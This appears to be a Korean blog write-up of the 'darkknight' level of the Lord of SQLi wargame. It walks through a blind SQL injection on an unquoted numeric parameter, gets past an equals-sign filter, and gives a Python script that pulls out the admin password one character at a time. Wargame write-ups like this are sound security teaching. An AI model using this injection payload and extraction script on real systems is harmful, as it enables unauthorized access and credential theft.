본문으로 바로가기

[LOS]12번 darkknight

category Wargame/LOS(eagle-jump) 2017. 8. 2. 18:48


이번에는 다크나이트가 등장했다


얼마나 대단한 놈인지 소스코드를 보자







ㄱ...그...강력하다!


그래도 침착하게 풀어보자


하단부를 보니 비밀번호를 알아내야지만 풀어낼 수 있음을 알 수 있다.


다행히 no에 쿼터가 없는걸 보니 변수 no를 이용해 푸는 문제인것 같다.


no를 이용해 인증해보자


등호가 필터링되어서 할일이 더 늘게된것 같다.



guest가 첫번째로 등록된 사용자임을 알 수 있다.



숫자를 늘려가며 admin을 찾아보자





guest는 no=1

admin은 no가 1보다 큼을 알 수 있다.



여기까지 참이므로 참 거짓을 이용해서 문제를 풀어보자



패스워드의 길이는 7에서 참 8에서 거짓이므로 8이된다.


비밀번호 길이가 아주 착하다


하지만 여러모로 귀차니즘이 발생하니 더이상 직접 노가다는 하지 말자


코딩을 하자!





1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
 
URL = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php'
head='cookie' : 'PHPSESSID=rgk31; __cfduid=da16eae87a48' }
 
 
for j in range(1,9):
    for i in range(32,127):
        params = {"no" : "1 or no>1 and mid(pw,"+str(j)+",1)>char("+str(i)+")"}
        res = requests.get(url=URL, params=params, headers=head)
        if  "Hello admin" not in res.text:
            print(chr(i))
            break;
cs


이리도 편한걸 왜 그동안 수작업으로 했을까...


결과는 아래와 같다





'Wargame > LOS(eagle-jump)' 카테고리의 다른 글

[LOS]14번 giant  (0) 2017.08.03
[LOS]13번 bugbear  (0) 2017.08.02
[LOS]11번 golem  (0) 2017.08.01
[LOS]10번 skeleton  (0) 2017.08.01
[LOS]9번 vampire  (0) 2017.08.01